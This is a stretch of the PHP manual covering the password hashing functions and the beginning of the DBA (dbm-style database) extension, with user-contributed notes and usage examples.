    • password_needs_rehash — Checks if the given hash matches the given options
    • password_verify — Verifies that a password matches a hash

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The password hashing API provides an easy to use wrapper around crypt() to make it easy to create and manage passwords in a secure manner.

This extension is available since PHP 5.5.0 but there is also an » userland implementation for PHP >= 5.3.7.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are always available as part of the PHP core.

PASSWORD_BCRYPT (integer)

PASSWORD_BCRYPT is used to create new password hashes using the CRYPT_BLOWFISH algorithm.

This will always result in a hash using the "$2y$" crypt format, which is always 60 characters wide.

Supported Options:

  • salt - to manually provide a salt to use when hashing the password. Note that this will override and prevent a salt from being automatically generated.

    If omitted, a random salt will be generated by password_hash() for each password hashed. This is the intended mode of operation.

  • cost - which denotes the algorithmic cost that should be used. Examples of these values can be found on the crypt() page.

    If ommitted, a default value of 10 will be used. This is a good baseline cost, but you may want to consider increasing it depending on your hardware.

PASSWORD_DEFAULT (integer)

The default algorithm to use for hashing if no algorithm is provided. This may change in newer PHP releases when newer, stronger hashing algorithms are supported.

It is worth noting that over time this constant can (and likely will) change. Therefore you should be aware that the length of the resulting hash can change. Therefore, if you use PASSWORD_DEFAULT you should store the resulting hash in a way that can store more than 60 characters (255 is the recomended width).

Values for this constant:

  • PHP 5.5.0 - PASSWORD_BCRYPT

User Contributed Notes

There are no user contributed notes for this page.


Password Hashing Functions

Table of Contents

  • password_get_info — Returns information about the given hash
  • password_hash — Creates a password hash
  • password_needs_rehash — Checks if the given hash matches the given options
  • password_verify — Verifies that a password matches a hash

User Contributed Notes

There are no user contributed notes for this page.


Returns information about the given hash

  • « Password Hashing Functions
  • password_hash »
  • PHP Manual
  • Password Hashing Functions
  • Returns information about the given hash

password_get_info

(PHP 5 >= 5.5.0)

password_get_info — Returns information about the given hash

Description

array password_get_info ( string $hash )

When passed in a valid hash created by an algorithm supported by password_hash(), this function will return an array of information about that hash.

Parameters

hash

A hash created by password_hash().

Return Values

Returns an associative array with three elements:

  • algo, which will match a password algorithm constant
  • algoName, which has the human readable name of the algorithm
  • options, which includes the options provided when calling password_hash()

User Contributed Notes

hej at gustav dot tv 03-Apr-2014 08:14
<?php
var_dump(password_get_info($hash));
// Example
array(3) {
  ["algo"]=>
  int(1)
  ["algoName"]=>
  string(6) "bcrypt"
  ["options"]=>
  array(1) {
    ["cost"]=>
    int(10)
  }
}

?>


Creates a password hash

  • « password_get_info
  • password_needs_rehash »
  • PHP Manual
  • Password Hashing Functions
  • Creates a password hash

password_hash

(PHP 5 >= 5.5.0)

password_hash — Creates a password hash

Description

string password_hash ( string $password , integer $algo [, array $options ] )

password_hash() creates a new password hash using a strong one-way hashing algorithm. password_hash() is compatible with crypt(). Therefore, password hashes created by crypt() can be used with password_hash().

The following algorithms are currently supported:

  • PASSWORD_DEFAULT - Use the bcrypt algorithm (default as of PHP 5.5.0). Note that this constant is designed to change over time as new and stronger algorithms are added to PHP. For that reason, the length of the result from using this identifier can change over time. Therefore, it is recommended to store the result in a database column that can expand beyond 60 characters (255 characters would be a good choice).
  • PASSWORD_BCRYPT - Use the CRYPT_BLOWFISH algorithm to create the hash. This will produce a standard crypt() compatible hash using the "$2y$" identifier. The result will always be a 60 character string, or FALSE on failure.

    Supported Options:

    • salt - to manually provide a salt to use when hashing the password. Note that this will override and prevent a salt from being automatically generated.

      If omitted, a random salt will be generated by password_hash() for each password hashed. This is the intended mode of operation.

    • cost - which denotes the algorithmic cost that should be used. Examples of these values can be found on the crypt() page.

      If omitted, a default value of 10 will be used. This is a good baseline cost, but you may want to consider increasing it depending on your hardware.

Parameters

password

The user's password.

Caution

Using the PASSWORD_BCRYPT for the algo parameter, will result in the password parameter being truncated to a maximum length of 72 characters.

algo

A password algorithm constant denoting the algorithm to use when hashing the password.

options

An associative array containing options. See the password algorithm constants for documentation on the supported options for each algorithm.

If omitted, a random salt will be created and the default cost will be used.

Return Values

Returns the hashed password, or FALSE on failure.

The used algorithm, cost and salt are returned as part of the hash. Therefore, all information that's needed to verify the hash is included in it. This allows the password_verify() function to verify the hash without needing separate storage for the salt or algorithm information.

Examples

Example #1 password_hash() example

<?php
/**
 * We just want to hash our password using the current DEFAULT algorithm.
 * This is presently BCRYPT, and will produce a 60 character result.
 *
 * Beware that DEFAULT may change over time, so you would want to prepare
 * By allowing your storage to expand past 60 characters (255 would be good)
 */
echo password_hash("rasmuslerdorf", PASSWORD_DEFAULT)."\n";
?>

The above example will output something similar to:

$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a

Example #2 password_hash() example setting cost manually

<?php
/**
 * In this case, we want to increase the default cost for BCRYPT to 12.
 * Note that we also switched to BCRYPT, which will always be 60 characters.
 */
$options = [
    'cost' => 12,
];
echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options)."\n";
?>

The above example will output something similar to:

$2y$12$QjSH496pcT5CEbzjD/vtVeH03tfHKFy36d4J0Ltp3lRtee9HDxY3K

Example #3 password_hash() example setting salt manually

<?php
/**
 * Note that the salt here is randomly generated.
 * Never use a static salt or one that is not randomly generated.
 *
 * For the VAST majority of use-cases, let password_hash generate the salt randomly for you
 */
$options = [
    'cost' => 11,
    'salt' => mcrypt_create_iv(22, MCRYPT_DEV_URANDOM),
];
echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options)."\n";
?>

The above example will output something similar to:

$2y$11$q5MkhSBtlsJcNEVsYh64a.aCluzHnGog7TQAKVmQwO9C8xb.t89F.

Example #4 password_hash() example finding a good cost

<?php
/**
 * This code will benchmark your server to determine how high of a cost you can
 * afford. You want to set the highest cost that you can without slowing down
 * you server too much. 8-10 is a good baseline, and more is good if your servers
 * are fast enough. The code below aims for ≤ 50 milliseconds stretching time,
 * which is a good baseline for systems handling interactive logins.
 */
$timeTarget = 0.05; // 50 milliseconds

$cost = 8;
do {
    $cost++;
    $start = microtime(true);
    password_hash("test", PASSWORD_BCRYPT, ["cost" => $cost]);
    $end = microtime(true);
} while (($end - $start) < $timeTarget);

echo "Appropriate Cost Found: " . $cost . "\n";
?>

The above example will output something similar to:

Appropriate Cost Found: 10

Notes

Caution

It is strongly recommended that you do not generate your own salt for this function. It will create a secure salt automatically for you if you do not specify one.

Note:

It is recommended that you test this function on your servers, and adjust the cost parameter so that execution of the function takes less than 100 milliseconds on interactive systems. The script in the above example will help you choose a good cost value for your hardware.

Note: Updates to supported algorithms by this function (or changes to the default one) must follow the following rules:

  • Any new algorithm must be in core for at least 1 full release of PHP prior to becoming default. So if, for example, a new algorithm is added in 5.5.5, it would not be eligible for default until 5.7 (since 5.6 would be the first full release). But if a different algorithm was added in 5.6.0, it would also be eligible for default at 5.7.0.
  • The default should only change on a full release (5.6.0, 6.0.0, etc) and not on a revision release. The only exception to this is in an emergency when a critical security flaw is found in the current default.

See Also

  • password_verify() - Verifies that a password matches a hash
  • crypt() - One-way string hashing
  • » userland implementation

User Contributed Notes

Mike Robinson 28-Aug-2014 11:52
For passwords, you generally want the hash calculation time to be between 250 and 500 ms (maybe more for administrator accounts). Since calculation time is dependent on the capabilities of the server, using the same cost parameter on two different servers may result in vastly different execution times. Here's a quick little function that will help you determine what cost parameter you should be using for your server to make sure you are within this range (note, I am providing a salt to eliminate any latency caused by creating a pseudorandom salt, but this should not be done when hashing passwords):

<?php
/**
 * @Param int $min_ms Minimum amount of time in milliseconds that it should take
 * to calculate the hashes
 */
function getOptimalBcryptCostParameter($min_ms = 250) {
    for ($i = 4; $i < 31; $i++) {
        $options = [ 'cost' => $i, 'salt' => 'usesomesillystringforsalt' ];
        $time_start = microtime(true);
        password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options);
        $time_end = microtime(true);
        if (($time_end - $time_start) * 1000 > $min_ms) {
            return $i;
        }
    }
}
echo getOptimalBcryptCostParameter(); // prints 12 in my case
?>
cottton 18-Feb-2014 01:29
if you thought
"why is the salt included in the hash and is it save when i store it as it is in my db?"

Answer i found:
The salt just has to be unique. It not meant to be a secret.

As mentioned in notes and docu before: let password_hash() take care of the salt.

With the unique salt you force the attacker to crack the hash.
The hash is unique and cannot be found at rainbow tables.
Cloxy 18-Oct-2013 06:45
You can produce the same hash in php 5.3.7+ with crypt() function:

<?php

$salt = mcrypt_create_iv(22, MCRYPT_DEV_URANDOM);
$salt = base64_encode($salt);
$salt = str_replace('+', '.', $salt);
$hash = crypt('rasmuslerdorf', '$2y$10$'.$salt.'$');

echo $hash;

?>
nicoSWD 06-Oct-2013 12:29
I agree with martinstoeckli,

don't create your own salts unless you really know what you're doing.

By default, it'll use /dev/urandom to create the salt, which is based on noise from device drivers.

And on Windows, it uses CryptGenRandom().

Both have been around for many years, and are considered secure for cryptography (the former probably more than the latter, though).

Don't try to outsmart these defaults by creating something less secure. Anything that is based on rand(), mt_rand(), uniqid(), or variations of these is *not* good.
chris at acsdi dot com 22-Jun-2013 01:29
Alan is entirely wrong, please ignore his comment and/or vote it down. This method encodes the algorithm and other parameters into the returned hash.

Deliberately specifying the algorithm to use should only be done in a carefully considered scenario, and these functions are designed and policies have been decided to ensure wide compatibility.

The risk of forcing a particular algorithm is that your code will continue to use a weaker algorithm as newer ones are implemented and strengthened.
martinstoeckli 09-Mar-2013 07:36
In most cases it is best to omit the salt parameter. Without this parameter, the function will generate a cryptographically safe salt, from the random source of the operating system.
martinstoeckli 18-Dec-2012 05:56
There is a compatibility pack available for PHP versions 5.3.7 and later, so you don't have to wait on version 5.5 for using this function. It comes in form of a single php file:
https://github.com/ircmaxell/password_compat


Checks if the given hash matches the given options

  • « password_hash
  • password_verify »
  • PHP Manual
  • Password Hashing Functions
  • Checks if the given hash matches the given options

password_needs_rehash

(PHP 5 >= 5.5.0)

password_needs_rehash — Checks if the given hash matches the given options

Description

boolean password_needs_rehash ( string $hash , integer $algo [, array $options ] )

This function checks to see if the supplied hash implements the algorithm and options provided. If not, it is assumed that the hash needs to be rehashed.

Parameters

hash

A hash created by password_hash().

algo

A password algorithm constant denoting the algorithm to use when hashing the password.

options

An associative array containing options. See the password algorithm constants for documentation on the supported options for each algorithm.

Return Values

Returns TRUE if the hash should be rehashed to match the given algo and options, or FALSE otherwise.

User Contributed Notes

admin at torntech dot com 13-Sep-2014 11:48
Some other use-cases for the password_needs_rehash function is when you have specified using the PASSWORD_DEFAULT algorithm for password_hash.
As mentioned on the Password Hashing Predefined Constants and password_hash pages, the algorithm used by PASSWORD_DEFAULT is subject to change as different versions of PHP are released.
Additionally password_needs_rehash would be used if you have changed the optional cost or static salt (DO NOT USE A STATIC SALT) requirements of your password_hash options.

Full example:

<?php

$new = [
    'options' => ['cost' => 11],
    'algo' => PASSWORD_DEFAULT,
    'hash' => null
];

$password = 'rasmuslerdorf';

//stored hash of password
$oldHash = '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq';

//verify stored hash against plain-text password
if (true === password_verify($password, $oldHash)) {
    //verify legacy password to new password_hash options
    if (true === password_needs_rehash($oldHash, $new['algo'], $new['options'])) {
        //rehash/store plain-text password using new hash
        $newHash = password_hash($password, $new['algo'], $new['options']);
        echo $newHash;
    }
}
?>

The above example will output something similar to:
$2y$11$Wu5rN3u38.g/XWdUeA6Wj.PD.F0fLXXmZrMNFyzzg2UxkVmxlk41W
solariane 21-May-2014 09:29
the correct use case is given here  ( https://github.com/ircmaxell/password_compat )

if (password_verify($password, $hash)) {
        if (password_needs_rehash($hash, $algorithm, $options)) {
            $hash = password_hash($password, $algorithm, $options);
            /* Store new hash in db */
        }
    }
php dot net at muer dot nl 14-May-2014 06:39
nick, this function cannot check if a string is a MD5 or SHA1 hash. It can only tell you if a password, hashed using the password_hash function, needs to be put through the hashing function again to keep up to date with the new defaults.

The only time you can use this function is when your user logs in and you have already checked by means of password_verify that the password entered is actually correct. At that point, if password_needs_rehash returns true, you can put the plain text password through the password_hash function.
nick at nickstallman dot net 18-Jul-2013 09:02
ydroneaud this would be used on a login page, not at any other time.

So if you have a site with MD5 passwords for example, and wish to upgrade to SHA256 for additional security you would put this check in the login script.

This function will take a user's hash and say if it is SHA256, if it isn't then you can take the user's password which you still have as plaintext and rehash it as SHA256.

This lets you gradually update the hashes in your database without disrupting any features or resetting passwords.
ydroneaud at opteya dot com 22-Jun-2013 02:11
According to the documentation, it's checking if the given hashed password string is compatible with the provided algorithm (and options, but not salt), eg. it's checking if the hashed password string was generated with the provided algorithm (and options, but not salt).

There's nothing to 'rehash' in its parameters ... especially not the already hashed password string, and the password "stored" in the hashed password string is not supposed to be known, it's not in clear, it's a secret.

The name of the function seems misleading, this function should have been called "password_hash_compatible()" instead.

This function could be use to check if a password database/a hashed password string (hashed by function "password_hash()") need to be upgraded to a stronger password hashing/storage scheme: if the function returns false,  a new password will have to be set for the user, hashed with the new, stronger, algorithm/options.

One should carefully think before using this function to support multiple algorithms/options in one database, eg. support "legacy scheme" passwords + "new scheme" ...


Verifies that a password matches a hash

  • « password_needs_rehash
  • Database Extensions »
  • PHP Manual
  • Password Hashing Functions
  • Verifies that a password matches a hash

password_verify

(PHP 5 >= 5.5.0)

password_verify — Verifies that a password matches a hash

Description

boolean password_verify ( string $password , string $hash )

Verifies that the given hash matches the given password.

Note that password_hash() returns the algorithm, cost and salt as part of the returned hash. Therefore, all information that's needed to verify the hash is included in it. This allows the verify function to verify the hash without needing separate storage for the salt or algorithm information.

Parameters

password

The user's password.

hash

A hash created by password_hash().

Return Values

Returns TRUE if the password and hash match, or FALSE otherwise.

Examples

Example #1 password_verify() example

<?php
// See the password_hash() example to see where this came from.
$hash = '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq';

if (password_verify('rasmuslerdorf', $hash)) {
    echo 'Password is valid!';
} else {
    echo 'Invalid password.';
}
?>

The above example will output:

Password is valid!

See Also

  • password_hash() - Creates a password hash
  • » userland implementation

User Contributed Notes

Anonymous 29-May-2014 10:40
If you get incorrect false responses from password_verify when manually including the hash variable (eg. for testing) and you know it should be correct, make sure you are enclosing the hash variable in single quotes (') and not double quotes (").

PHP parses anything that starts with a $ inside double quotes as a variable:

<?php
// this will result in 'Invalid Password' as the hash is parsed into 3 variables of
// $2y, $07 and $BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq
// due to it being enclosed inside double quotes
$hash = "$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq";

// this will result in 'Password is valid' as variables are not parsed inside single quotes
$hash = '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq';

if (password_verify('rasmuslerdorf', $hash)) {
    echo 'Password is valid!';
} else {
    echo 'Invalid password.';
}
?>
suit at rebell dot at 19-Oct-2013 04:18
As Vasil Toshkov stated, password_verify() can be used to verify a password created by crypt() or password_hash()

That is because passwords created by password_hash() also use the C crypt sheme

If you want to verify older plain MD5-Hashes you just need to prefix them with $1$

See https://en.wikipedia.org/wiki/Crypt_(C) for more information.
Vasil Toshkov 13-Oct-2013 06:16
This function can be used to verify hashes created with other functions like crypt(). For example:

<?php

$hash = '$1$toHVx1uW$KIvW9yGZZSU/1YOidHeqJ/';

if (password_verify('rasmuslerdorf', $hash)) {
    echo 'Password is valid!';
} else {
    echo 'Invalid password.';
}

// Output: Password is valid!

?>


Database Extensions

  • Abstraction Layers
    • DBA — Database (dbm-style) Abstraction Layer
    • dbx
    • ODBC — ODBC (Unified)
    • PDO — PHP Data Objects
  • Vendor Specific Database Extensions
    • CUBRID
    • DB++
    • dBase
    • filePro
    • Firebird/InterBase
    • FrontBase
    • IBM DB2 — IBM DB2, Cloudscape and Apache Derby
    • Informix
    • Ingres — Ingres DBMS, EDBC, and Enterprise Access Gateways
    • MaxDB
    • Mongo — MongoDB
    • mSQL
    • Mssql — Microsoft SQL Server
    • MySQL — MySQL Drivers and Plugins
    • OCI8 — Oracle OCI8
    • Paradox — Paradox File Access
    • PostgreSQL
    • SQLite
    • SQLite3
    • SQLSRV — Microsoft SQL Server Driver for PHP
    • Sybase
    • tokyo_tyrant

User Contributed Notes

There are no user contributed notes for this page.


Abstraction Layers

  • DBA — Database (dbm-style) Abstraction Layer
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • DBA Functions
  • dbx
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • dbx Functions
  • ODBC — ODBC (Unified)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • ODBC Functions
  • PDO — PHP Data Objects
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Connections and Connection management
    • Transactions and auto-commit
    • Prepared statements and stored procedures
    • Errors and error handling
    • Large Objects (LOBs)
    • PDO — The PDO class
    • PDOStatement — The PDOStatement class
    • PDOException — The PDOException class
    • PDO Drivers

User Contributed Notes

There are no user contributed notes for this page.


Database (dbm-style) Abstraction Layer

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • DBA Functions
    • dba_close — Close a DBA database
    • dba_delete — Delete DBA entry specified by key
    • dba_exists — Check whether key exists
    • dba_fetch — Fetch data specified by key
    • dba_firstkey — Fetch first key
    • dba_handlers — List all the handlers available
    • dba_insert — Insert entry
    • dba_key_split — Splits a key in string representation into array representation
    • dba_list — List all open database files
    • dba_nextkey — Fetch next key
    • dba_open — Open database
    • dba_optimize — Optimize database
    • dba_popen — Open database persistently
    • dba_replace — Replace or insert entry
    • dba_sync — Synchronize database

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions build the foundation for accessing Berkeley DB style databases.

This is a general abstraction layer for several file-based databases. As such, functionality is limited to a common subset of features supported by modern databases such as » Oracle Berkeley DB.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The behaviour of various aspects depends on the implementation of the underlying database. Functions such as dba_optimize() and dba_sync() will do what they promise for one database and will do nothing for others. You have to download and install supported dba-Handlers.

List of DBA handlers
Handler | Notes
dbm | Dbm is the oldest (original) type of Berkeley DB style databases. You should avoid it, if possible. We do not support the compatibility functions built into DB2 and gdbm, because they are only compatible on the source code level, but cannot handle the original dbm format.
ndbm | Ndbm is a newer type and more flexible than dbm. It still has most of the arbitrary limits of dbm (therefore it is deprecated).
gdbm | Gdbm is the » GNU database manager.
db2 | DB2 is for » Oracle Berkeley DB 2. It is described as "a programmatic toolkit that provides high-performance built-in database support for both standalone and client/server applications.
db3 | DB3 is for » Oracle Berkeley DB 3.
db4 | DB4 is for » Oracle Berkeley DB 4 or 5. This option is available from PHP 4.3.2. It can be used with BDB 5 from PHP 5.3.3.
cdb | Cdb is "a fast, reliable, lightweight package for creating and reading constant databases." It is from the author of qmail and can be found at » http://cr.yp.to/cdb.html. Since it is constant, we support only reading operations. And since PHP 4.3.0 we support writing (not updating) through the internal cdb library.
cdb_make | Since PHP 4.3.0 we support creation (not updating) of cdb files when the bundled cdb library is used.
flatfile | This is available since PHP 4.3.0 for compatibility with the deprecated dbm extension only and should be avoided. However you may use this where files were created in this format. That happens when configure could not find any external library.
inifile | This is available since PHP 4.3.3 to be able to modify php.ini files from within PHP scripts. When working with ini files you can pass arrays of the form array(0=>group,1=>value_name) or strings of the form "[group]value_name" where group is optional. As the functions dba_firstkey() and dba_nextkey() return string representations of the key there is a new function dba_key_split() available since PHP 5 which allows to convert the string keys into array keys without loosing FALSE.
qdbm | This is available since PHP 5.0.0. The qdbm library can be loaded from » http://fallabs.com/qdbm/index.html.

When invoking the dba_open() or dba_popen() functions, one of the handler names must be supplied as an argument. The actually available list of handlers is displayed by invoking phpinfo() or dba_handlers().

User Contributed Notes

There are no user contributed notes for this page.


Installation

By using the --enable-dba=shared configuration option you can build a dynamic loadable module to enable PHP for basic support of dbm-style databases. You also have to add support for at least one of the following handlers by specifying the --with-XXXX configure switch to your PHP configure line.

Warning

After configuring and compiling PHP you must execute the following test from commandline: php run-tests.php ext/dba. This shows whether your combination of handlers works. Most problematic are dbm and ndbm which conflict with many installations. The reason for this is that on several systems these libraries are part of more than one other library. The configuration test only prevents you from configuring malfunctioning single handlers but not combinations.

Supported DBA handlers
Handler | Configure Switch
dbm

To enable support for dbm add --with-dbm[=DIR] .

Note:

dbm normally is a wrapper which often results in failures. This means you should only use dbm if you are sure it works and if you really need this format.

ndbm

To enable support for ndbm add --with-ndbm[=DIR] .

Note:

ndbm normally is a wrapper which often results in failures. This means you should only use ndbm if you are sure it works and if you really need this format.

gdbm | To enable support for gdbm add --with-gdbm[=DIR] .
db2

To enable support for Oracle Berkeley DB 2 add --with-db2[=DIR] .

Note:

db2 conflicts with db3 and db4.

db3

To enable support for Oracle Berkeley DB 3 add --with-db3[=DIR] .

Note:

db3 conflicts with db2 and db4.

db4

To enable support for Oracle Berkeley DB 4 or 5 add --with-db4[=DIR] .

Note:

db4 conflicts with db2 and db3.

Note:

The db4 option was added in PHP 4.3.2. In earlier versions of PHP you need to use --with-db3=DIR with DIR being the path to db4 library. It is not possible to use db versions starting from 4.1 with PHP prior to version 4.3.0. Also, the db libraries with versions 4.1 through 4.1.24 cannot be used in any PHP version.

Support for BDB 5 was added in PHP 5.3.3.

cdb

To enable support for cdb add --with-cdb[=DIR] .

Note:

Since PHP 4.3.0 you can omit DIR to use the bundled cdb library that adds the cdb_make handler which allows creation of cdb files and allows to access cdb files on the network using PHP's streams.

flatfile

To enable support for flatfile add --with-flatfile .

Note:

This was added in PHP 4.3.0 to add compatibility with deprecated dbm extension. Use this handler only when you cannot install one of the libraries required by the other handlers and when you cannot use bundled cdb handler.

inifile

To enable support for inifile add --with-inifile .

Note:

This was added in PHP 5.0.0 and allows to read and set microsoft style .ini files (like the php.ini file).

qdbm

To enable support for qdbm add --with-qdbm[=DIR] .

Note:

qdbm conflicts with dbm and gdbm.

Note:

This was added in PHP 5.0.0. The qdbm library can be loaded from » http://fallabs.com/qdbm/index.html.

Note:

Up to PHP 4.3.0 you are able to add both db2 and db3 handler but only one of them can be used internally. That means that you cannot have both file formats. Starting with PHP 5.0.0 there is a configuration check avoid such misconfigurations.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

DBA Configure Options
Name | Default | Changeable | Changelog
dba.default_handler | DBA_DEFAULT | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

dba.default_handler string

The name of the default handler

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

The functions dba_open() and dba_popen() return a handle to the specified database file to access which is used by all other dba-function calls.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Example #1 DBA example

<?php

$id = dba_open("/tmp/test.db", "n", "db2");

if (!$id) {
    echo "dba_open failed\n";
    exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
    echo dba_fetch("key", $id);
    dba_delete("key", $id);
}

dba_close($id);
?>

DBA is binary safe and does not have any arbitrary limits. However, it inherits all limits set by the underlying database implementation.

All file-based databases must provide a way of setting the file mode of a new created database, if that is possible at all. The file mode is commonly passed as the fourth argument to dba_open() or dba_popen().

You can access all entries of a database in a linear way by using the dba_firstkey() and dba_nextkey() functions. You may not change the database while traversing it.

Example #2 Traversing a database

<?php

// ...open database...

$key = dba_firstkey($id);

while ($key != false) {
    if (true) {          // remember the key to perform some action later
        $handle_later[] = $key;
    }
    $key = dba_nextkey($id);
}

foreach ($handle_later as $val) {
    dba_delete($val, $id);
}

?>

User Contributed Notes

There are no user contributed notes for this page.


DBA Functions

Table of Contents

  • dba_close — Close a DBA database
  • dba_delete — Delete DBA entry specified by key
  • dba_exists — Check whether key exists
  • dba_fetch — Fetch data specified by key
  • dba_firstkey — Fetch first key
  • dba_handlers — List all the handlers available
  • dba_insert — Insert entry
  • dba_key_split — Splits a key in string representation into array representation
  • dba_list — List all open database files
  • dba_nextkey — Fetch next key
  • dba_open — Open database
  • dba_optimize — Optimize database
  • dba_popen — Open database persistently
  • dba_replace — Replace or insert entry
  • dba_sync — Synchronize database

User Contributed Notes

Franz Korntner 21-Feb-2012 06:10
If you need a 'download data' button that automatically fires up a spreadsheet (like Excel), find that fputcsv() isn't working as expected, that none of the installed DBA database engines create a spreadsheet that can be opened, and that XLS generating components are just too heavy weight, then this might just hit the spot:

<?php
// simple table to present
$data = array(
    array('col1','col2'),
    array(1,2),
    array(3,4)
);

// pretend content (which is XML) is XLS native
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private", false);
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=\"sheet.xls\";" );

// construct skeleton
$dom = new DOMDocument('1.0', 'utf-8');
$dom->formatOutput = $dom->preserveSpaces = true; // optional
$n = new DOMProcessingInstruction('mso-application', 'progid="Excel.Sheet"');
$dom->appendChild($n);

$workbook = $dom->appendChild(new DOMElement('Workbook'));
$workbook->setAttribute('xmlns','urn:schemas-microsoft-com:office:spreadsheet');
$workbook->setAttribute('xmlns:o','urn:schemas-microsoft-com:office:office');
$workbook->setAttribute('xmlns:x','urn:schemas-microsoft-com:office:excel');
$workbook->setAttribute('xmlns:ss','xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet');
$workbook->setAttribute('xmlns:html','http://www.w3.org/TR/REC-html40');

$styles = $workbook->appendChild(new DOMElement('Styles'));
$style = $styles->appendChild(new DOMElement('Style'));
$style->setAttribute('ss:ID','Default');
$worksheet = $workbook->appendChild(new DOMElement('Worksheet'));
$worksheet->setAttribute('ss:Name','sheet1');
$xmltable = $worksheet->appendChild(new DOMElement('Table'));

// populate with data
foreach ($data as $datarow) {
    $xmlrow = $xmltable->appendChild(new DOMElement('Row'));
    foreach ($datarow as $datacell) {
        $xmlcell = $xmlrow->appendChild(new DOMElement('Cell'));
        $xmldata = $xmlcell->appendChild(new DOMElement('Data', $datacell));
        $xmldata->setAttribute('ss:Type', is_numeric($datacell) ? 'Number' : 'String');
    }
}

// display and quit
echo $dom->saveXML();
?>
doppelbauer at gmail dot com 14-Oct-2006 04:47
Benchmark test:

http://qdbm.sourceforge.net/benchmark.pdf
jason 21-Dec-2004 04:33
Don't make the dumb mistake I did, if you copy the first example at the top and modify it for test, the dba_open specifies "n" which will truncate the database that you are pointing to. Make sure you change it to "r" if you just want to read from an existing dbm file.
kevinphpdotnet at stormtide dot ca 17-Mar-2004 08:10
When using db4 on redhat 7.3 you may get signal 11s on the apache child processes. The installation test scripts will report that db4 is working correctly as the cli will not sig 11 out. The solution is to check to see if mod_rewrite is installed with apache, if it is either dereference it from libdb.so.3 or build apache without mod rewrite. Once this is done you will no longer have your child processes dying out and db4 will work. If you do not get a sig 11 after dba_open just ignore this comment.
djm at web dot us dot uu dot net 18-Oct-1999 12:28
With db2, you need to call dba_sync() to get the data written to disk; the examples are missing this.  db2 uses
the BTREE file format, not the more common HASH.
BTREE is faster, though, in my tests, so it's a good
choice.


Close a DBA database

  • « DBA Functions
  • dba_delete »
  • PHP Manual
  • DBA Functions
  • Close a DBA database

dba_close

(PHP 4, PHP 5)

dba_close — Close a DBA database

Description

void dba_close ( resource $handle )

dba_close() closes the established database and frees all resources of the specified database handle.

Parameters

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

No value is returned.

See Also

  • dba_open() - Open database
  • dba_popen() - Open database persistently

User Contributed Notes

There are no user contributed notes for this page.


Delete DBA entry specified by key

  • « dba_close
  • dba_exists »
  • PHP Manual
  • DBA Functions
  • Delete DBA entry specified by key

dba_delete

(PHP 4, PHP 5)

dba_delete — Delete DBA entry specified by key

Description

bool dba_delete ( string $key , resource $handle )

dba_delete() deletes the specified entry from the database.

Parameters

key

The key of the entry which is deleted.

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dba_exists() - Check whether key exists
  • dba_fetch() - Fetch data specified by key
  • dba_insert() - Insert entry
  • dba_replace() - Replace or insert entry

User Contributed Notes

swain at panix dot com 07-Nov-2001 08:00
Note that the memory is lost after doing this. If you had a key 'foo' with a value of 1000 bytes, that 1000 bytes is lost, and the DB file size will reflect this.


Check whether key exists

  • « dba_delete
  • dba_fetch »
  • PHP Manual
  • DBA Functions
  • Check whether key exists

dba_exists

(PHP 4, PHP 5)

dba_exists — Check whether key exists

Description

bool dba_exists ( string $key , resource $handle )

dba_exists() checks whether the specified key exists in the database.

Parameters

key

The key the check is performed for.

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE if the key exists, FALSE otherwise.

See Also

  • dba_delete() - Delete DBA entry specified by key
  • dba_fetch() - Fetch data specified by key
  • dba_insert() - Insert entry
  • dba_replace() - Replace or insert entry

User Contributed Notes

frenzy dot ivan at gmail dot com 27-Nov-2008 02:37
<?php

$index = 4;
$id = dba_open("frenzy.db", "w", "flatfile");
if(!$id) exit ("Some error...");
if(dba_exists($index, $id)) exit ("This key is using");
dba_close($id);

?>


Fetch data specified by key

  • « dba_exists
  • dba_firstkey »
  • PHP Manual
  • DBA Functions
  • Fetch data specified by key

dba_fetch

(PHP 4, PHP 5)

dba_fetch — Fetch data specified by key

Description

string dba_fetch ( string $key , resource $handle )
string dba_fetch ( string $key , int $skip , resource $handle )

dba_fetch() fetches the data specified by key from the database specified with handle.

Parameters

key

The key the data is specified by.

Note:

When working with inifiles this function accepts arrays as keys where index 0 is the group and index 1 is the value name. See: dba_key_split().

skip

The number of key-value pairs to ignore when using cdb databases. This value is ignored for all other databases which do not support multiple keys with the same name.

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns the associated string if the key/data pair is found, FALSE otherwise.

Changelog

Version | Description
4.3.0 | The skip parameter is available to support cdb's capability of multiple keys having the same name.

See Also

